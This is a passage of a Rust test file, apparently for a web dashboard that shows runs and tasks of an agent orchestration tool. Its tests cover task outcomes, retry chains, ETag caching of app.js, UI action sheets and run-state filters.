17904 }
17905
17906 #[tokio::test]
17907 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
17908 let fx = Fixture::start().await;
17909 let runs = fx.runs();
17910 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17911 write_run(&runs, old, RunStatus::Blocked);
17912 write_run(&runs, new, RunStatus::Merged);
17913 let mut t = outcome_task(&[old, new], TaskStatus::Done);
17914 fx.queue().put(&mut t).expect("put");
17915
17916 let view = fx.get(&format!("/api/runs/{old}")).await.json();
17917 let task = &view["task"];
17918 assert_eq!(task["status"], "done");
17919 assert_eq!(task["is_latest"], false);
17920 assert_eq!(task["latest"]["short"], "bbbb");
17921 assert_eq!(task["finished_by"]["id"], new);
17922 assert_eq!(task["finished_by"]["outcome"], "merged");
17923 assert_eq!(task["closed_by_hand"], false);
17924 assert_eq!(view["status"], "blocked", "the run keeps its own status");
17925 assert!(APP_JS.contains("finished_by"));
17926 assert!(APP_JS.contains("superseded by run"));
17927 }
17928
17929 #[tokio::test]
17930 async fn the_latest_run_reports_a_held_task_without_a_successor() {
17931 let fx = Fixture::start().await;
17932 let runs = fx.runs();
17933 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17934 write_run(&runs, old, RunStatus::Stalled);
17935 write_run(&runs, new, RunStatus::Blocked);
17936 let mut t = outcome_task(&[old, new], TaskStatus::Held);
17937 fx.queue().put(&mut t).expect("put");
17938
17939 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
17940 assert_eq!(task["status"], "held");
17941 assert_eq!(task["is_latest"], true);
17942 assert!(task["latest"].is_null());
17943 assert!(task["finished_by"].is_null());
17944 assert_eq!(task["closed_by_hand"], false);
17945 }
17946
17947 #[tokio::test]
17948 async fn a_direct_run_has_no_task_outcome() {
17949 let fx = Fixture::start().await;
17950 let runs = fx.runs();
17951 let id = "20260901-000000-aaaa";
17952 write_run(&runs, id, RunStatus::Blocked);
17953 let view = fx.get(&format!("/api/runs/{id}")).await.json();
17954 assert!(view["task"].is_null());
17955 }
17956
17957 #[test]
17958 fn task_outcome_does_not_guess_a_finishing_run() {
17959 let a = "20260901-000000-aaaa";
17960 let b = "20260901-000000-bbbb";
17961 let c = "20260901-000000-cccc";
17962 let dir = tempfile::tempdir().expect("tempdir");
17963 write_run(dir.path(), a, RunStatus::Blocked);
17964 write_run(dir.path(), b, RunStatus::VerifiedNoop);
17965 let read = |id: &str| read_run(dir.path(), id).ok();
17967 let t = outcome_task(&[a, b, c], TaskStatus::Done);
17970 let out = task_outcome(&t, a, 3, read);
17971 assert!(out.finished_by.is_none());
17972 assert!(out.closed_by_hand);
17973 let latest = out.latest.expect("latest");
17974 assert_eq!(latest.id, c);
17975 assert_eq!(latest.status, None);
17976 assert_eq!(latest.outcome, "record unreadable");
17977
17978 write_run(dir.path(), c, RunStatus::Ready);
17980 let t = outcome_task(&[a, c], TaskStatus::Done);
17981 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
17982 assert_eq!(out.finished_by.expect("finisher").id, c);
17983 assert!(!out.closed_by_hand);
17984
17985 let t = outcome_task(&[a, b, a], TaskStatus::Held);
17987 assert!(task_outcome(&t, a, 3, read).is_latest);
17988 }
17989
17990 #[tokio::test]
17991 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
17992 let fx = Fixture::start().await;
17997 let q = fx.queue();
17998 let runs = fx.runs();
17999 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
18000 write_run(&runs, first, RunStatus::Blocked);
18001 write_run(&runs, second, RunStatus::Merged);
18002
18003 let mut t = Task::new(
18004 "one task".to_owned(),
18005 "do it".to_owned(),
18006 PathBuf::from("/repo"),
18007 Source::Human,
18008 );
18009 t.runs = vec![first.to_owned(), second.to_owned()];
18010 q.put(&mut t).expect("put");
18011
18012 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
18013 assert_eq!(earlier["superseded_by"], "dddd");
18014 assert_eq!(earlier["latest_attempt"]["id"], second);
18015 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
18016 assert_eq!(
18017 earlier["latest_attempt"]["resolved"], true,
18018 "the run that replaced it landed, so this one reads as settled"
18019 );
18020
18021 let later = fx.get(&format!("/api/runs/{second}")).await.json();
18022 assert!(
18023 later["superseded_by"].is_null(),
18024 "the latest attempt is not superseded by anything"
18025 );
18026 assert!(
18027 later["latest_attempt"].is_null(),
18028 "the latest attempt has no later attempt of its own"
18029 );
18030
18031 assert!(APP_JS.contains("run.latest_attempt"));
18038 assert!(APP_JS.contains("data-superseded"));
18039 assert!(APP_JS.contains("#/runs/${latest.id}"));
18040 }
18041
18042 #[tokio::test]
18043 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
18044 let fx = Fixture::start().await;
18050 let q = fx.queue();
18051 let runs = fx.runs();
18052 let (a, b, c) = (
18053 "20260901-000000-aaaa",
18054 "20260901-000000-bbbb",
18055 "20260901-000000-cccc",
18056 );
18057 write_run(&runs, a, RunStatus::Blocked);
18058 write_run(&runs, b, RunStatus::Blocked);
18059 write_run(&runs, c, RunStatus::Merged);
18060
18061 let mut t = Task::new(
18062 "retried twice".to_owned(),
18063 "do it".to_owned(),
18064 PathBuf::from("/repo"),
18065 Source::Human,
18066 );
18067 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
18068 q.put(&mut t).expect("put");
18069
18070 let view = fx.get(&format!("/api/runs/{a}")).await.json();
18071 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
18072 assert_eq!(
18073 view["latest_attempt"]["id"], c,
18074 "the chain's current head, not the intermediate Blocked retry"
18075 );
18076 assert_eq!(view["latest_attempt"]["resolved"], true);
18077
18078 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
18079 assert_eq!(mid["latest_attempt"]["id"], c);
18080 assert_eq!(mid["latest_attempt"]["resolved"], true);
18081 }
18082
18083 #[tokio::test]
18084 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
18085 let fx = Fixture::start().await;
18086 let q = fx.queue();
18087 let runs = fx.runs();
18088
18089 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
18092 write_run(&runs, still_blocked_a, RunStatus::Blocked);
18093 write_run(&runs, still_blocked_b, RunStatus::Blocked);
18094 let mut t1 = Task::new(
18095 "still stuck".to_owned(),
18096 "do it".to_owned(),
18097 PathBuf::from("/repo"),
18098 Source::Human,
18099 );
18100 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
18101 q.put(&mut t1).expect("put");
18102 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
18103 assert_eq!(view1["latest_attempt"]["resolved"], false);
18104 assert_eq!(view1["latest_attempt"]["status"], "blocked");
18105 assert_eq!(view1["latest_attempt"]["done"], true);
18106
18107 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
18109 write_run(&runs, run_a, RunStatus::Blocked);
18110 write_run(&runs, run_b, RunStatus::Implementing);
18111 let mut t3 = Task::new(
18112 "retrying".to_owned(),
18113 "do it".to_owned(),
18114 PathBuf::from("/repo"),
18115 Source::Human,
18116 );
18117 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
18118 q.put(&mut t3).expect("put");
18119 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
18120 assert_eq!(view3["latest_attempt"]["id"], run_b);
18121 assert_eq!(view3["latest_attempt"]["resolved"], false);
18122 assert_eq!(view3["latest_attempt"]["done"], false);
18123
18124 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
18129 write_run(&runs, noop_a, RunStatus::Blocked);
18130 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
18131 let mut t2 = Task::new(
18132 "claims done".to_owned(),
18133 "do it".to_owned(),
18134 PathBuf::from("/repo"),
18135 Source::Human,
18136 );
18137 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
18138 q.put(&mut t2).expect("put");
18139 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
18140 assert_eq!(
18141 view2["latest_attempt"]["resolved"], false,
18142 "an unverified no-op claim must not read as a confirmed finish"
18143 );
18144
18145 assert!(APP_JS.contains("latest.resolved"));
18148 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
18151 assert!(APP_JS.contains("Latest attempt: "));
18152 assert!(APP_JS.contains("in flight"));
18153 assert!(APP_JS.contains("not resolved"));
18154 }
18155
18156 #[tokio::test]
18157 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
18158 let fx = Fixture::start().await;
18159 let js = fx.get("/app.js").await;
18165 assert_eq!(js.status, 200);
18166 let tag = js
18167 .header("etag")
18168 .expect("an etag to revalidate against")
18169 .to_owned();
18170 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
18171 assert_eq!(
18172 js.header("cache-control"),
18173 Some("no-cache, must-revalidate"),
18174 "the phone has to ask every time"
18175 );
18176
18177 let again = fx
18180 .get_with("/app.js", &[("if-none-match", tag.as_str())])
18181 .await;
18182 assert_eq!(
18183 again.status, 304,
18184 "a deck it already has costs one round trip"
18185 );
18186 assert!(again.body.is_empty(), "304 carries no body");
18187
18188 let weak = fx
18191 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
18192 .await;
18193 assert_eq!(weak.status, 304);
18194 let stale = fx
18195 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
18196 .await;
18197 assert_eq!(stale.status, 200, "an older build must be replaced");
18198 assert!(stale.body.contains("renderRunActions"));
18199 }
18200
18201 #[test]
18202 fn the_task_detail_has_an_actions_fab_and_sheet() {
18203 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
18204 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
18205 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
18206 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
18208 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
18209 assert!(APP_JS.contains("renderTaskActions(task);"));
18211 assert!(APP_JS.contains("renderTaskActions(null);"));
18212 let sheet = APP_JS
18214 .find("function renderTaskActions")
18215 .expect("sheet renderer");
18216 let body = &APP_JS[sheet..sheet + 3000];
18217 assert!(body.contains("changePriority("));
18218 assert!(body.contains("openTaskEdit(task)"));
18219 assert!(body.contains("renderTaskHoldBox(host"));
18220 assert!(body.contains("renderTaskDoneBox(host"));
18221 assert!(body.contains("renderTaskDeleteBox(host"));
18222 assert!(APP_JS.contains("API.priority(id)"));
18223 assert!(APP_JS.contains("API.deleteTask(id)"));
18224 assert!(APP_JS.contains("location.hash = \"#/queue\""));
18226 assert!(APP_JS.contains("$(\"task-actions-error\")"));
18228 }
18229
18230 #[test]
18231 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
18232 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
18233 let actions = INDEX_HTML
18234 .find("id=\"run-actions-box\"")
18235 .expect("actions box");
18236 assert!(task < actions, "the task entry comes first in the sheet");
18237 assert!(APP_JS.contains("renderRunTaskEntry"));
18238 assert!(APP_JS.contains("\"Open task \""));
18239 assert!(APP_JS.contains("started directly, no task"));
18241 assert!(APP_JS.contains("sheet-task-link"));
18242 assert!(APP_JS.contains("task-chip-link"));
18243 }
18244
18245 #[test]
18246 fn the_deck_never_sends_the_operator_to_a_terminal() {
18247 assert!(
18250 !APP_JS.contains("Run `magi fold` first"),
18251 "the deck must offer the fold, not prescribe a shell command"
18252 );
18253 assert!(APP_JS.contains("foldRun:"));
18254 assert!(APP_JS.contains("resumeRun:"));
18255 assert!(APP_JS.contains("renderRunActions"));
18256
18257 assert!(APP_JS.contains("armedFold"));
18259 assert!(APP_JS.contains("Yes, fold worktrees"));
18260
18261 assert!(APP_JS.contains("can no longer be resumed"));
18264 }
18265
18266 #[test]
18267 fn a_finished_run_explains_itself_with_its_own_last_line() {
18268 assert!(
18274 !APP_JS.contains("collapsed on agent quota"),
18275 "a stall must not be explained by a cause the deck did not check"
18276 );
18277 assert!(
18278 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
18279 "and a block must not offer a guess with an `or` in it"
18280 );
18281
18282 assert!(
18286 APP_JS.contains("setText(r.event, run.event || \"\")"),
18287 "the run's last line is rendered unconditionally"
18288 );
18289 assert!(
18290 !APP_JS.contains("moving && run.event"),
18291 "and never gated on the run still moving"
18292 );
18293
18294 assert!(APP_JS.contains("lost to quota"));
18296 }
18297
18298 #[test]
18320 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
18321 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
18322 let shapes_body_start =
18323 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
18324 let shapes_close = APP_JS[shapes_body_start..]
18325 .find("].map(")
18326 .expect("the shape list is closed by its done-computing .map(...)")
18327 + shapes_body_start;
18328 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
18329
18330 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
18331 for entry in shapes_src.split('{').skip(1) {
18332 let waiting = entry.contains("waiting: true");
18333 let dead = entry.contains("live: \"dead\"");
18334 let status_at =
18335 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
18336 let status_end = entry[status_at..]
18337 .find('"')
18338 .expect("the status string is closed")
18339 + status_at;
18340 let parked = entry.contains("display_status: \"parked\"");
18341 shapes.push((
18342 waiting,
18343 entry[status_at..status_end].to_string(),
18344 dead,
18345 parked,
18346 ));
18347 }
18348 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
18349
18350 let done_rule_marker = "done: !";
18354 let done_rule_at = APP_JS[shapes_close..]
18355 .find(done_rule_marker)
18356 .expect("the done rule follows the shape list")
18357 + shapes_close
18358 + done_rule_marker.len();
18359 let includes_at = APP_JS[done_rule_at..]
18360 .find(".includes(shape.status)")
18361 .expect("the done rule ends in .includes(shape.status)")
18362 + done_rule_at;
18363 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
18364 .trim()
18365 .trim_start_matches('[')
18366 .trim_end_matches(']')
18367 .split(',')
18368 .map(|s| s.trim().trim_matches('"'))
18369 .filter(|s| !s.is_empty())
18370 .collect();
18371
18372 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
18373 .into_iter()
18374 .map(|(waiting, status, dead, parked)| {
18375 let done = !not_done.contains(&status.as_str());
18376 (waiting, status, dead, parked, done)
18377 })
18378 .collect();
18379
18380 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
18384 if waiting {
18385 return "waiting";
18386 }
18387 if dead
18388 && !parked
18389 && !matches!(
18390 status,
18391 "merged"
18392 | "ready"
18393 | "stalled"
18394 | "blocked"
18395 | "failed"
18396 | "verified_noop"
18397 | "superseded"
18398 | "already_in_base"
18399 )
18400 {
18401 return "stale";
18402 }
18403 match status {
18404 "merged" | "ready" => "landed",
18405 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
18406 | "already_in_base" => "ended",
18407 _ => "flight",
18408 }
18409 }
18410
18411 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
18414 match filter_key {
18415 "active" => !done,
18416 "flight" => !done && !waiting && !dead,
18417 "stale" => !done && !waiting && dead,
18418 "waiting" => waiting,
18419 "done" => done,
18420 "all" => true,
18421 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
18422 }
18423 }
18424
18425 let compatible = |section: &str, filter_key: &str| {
18426 shapes.iter().any(|(waiting, status, dead, parked, done)| {
18427 run_section(*waiting, status, *dead, *parked) == section
18428 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
18429 })
18430 };
18431
18432 let expected = [
18437 ("waiting", [true, false, false, true, true, true]),
18438 ("stale", [true, false, true, false, false, true]),
18439 ("flight", [true, true, false, false, false, true]),
18440 ("landed", [false, false, false, false, true, true]),
18441 ("ended", [false, false, false, false, true, true]),
18442 ];
18443 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
18444
18445 for (section, wants) in expected {
18446 for (filter_key, want) in filter_keys.iter().zip(wants) {
18447 assert_eq!(
18448 compatible(section, filter_key),
18449 want,
18450 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
18451 );
18452 }
18453 }
18454
18455 assert!(
18458 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
18459 );
18460 assert!(APP_JS.contains(
18461 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
18462 ));
18463 assert!(APP_JS.contains(
18464 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
18465 ));
18466 }
18467
18468 #[tokio::test]
18469 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
18470 let dir = tempfile::tempdir().expect("tempdir");
18474 let explicit = dir.path().join("not-a-checkout");
18475 std::fs::create_dir_all(&explicit).expect("create dir");
18476 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
18477
18478 let missing = dir.path().join("does-not-exist-at-all");
18479 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
18480 }
18481
18482 #[test]
18483 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
18484 assert!(APP_JS.contains("function statsDonutArcs"));
18485 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
18486 assert!(APP_JS.contains("function statusInBucket"));
18488 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
18489 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
18490 let buckets = [
18491 "merged",
18492 "ready",
18493 "in_progress",
18494 "blocked",
18495 "failed",
18496 "verified_noop",
18497 "superseded",
18498 "stalled",
18499 ];
18500 for key in buckets {
18501 let var = format!("--verdict-{key}:");
18502 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
18504 assert!(
18505 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
18506 "{key}"
18507 );
18508 }
18509 }
18510}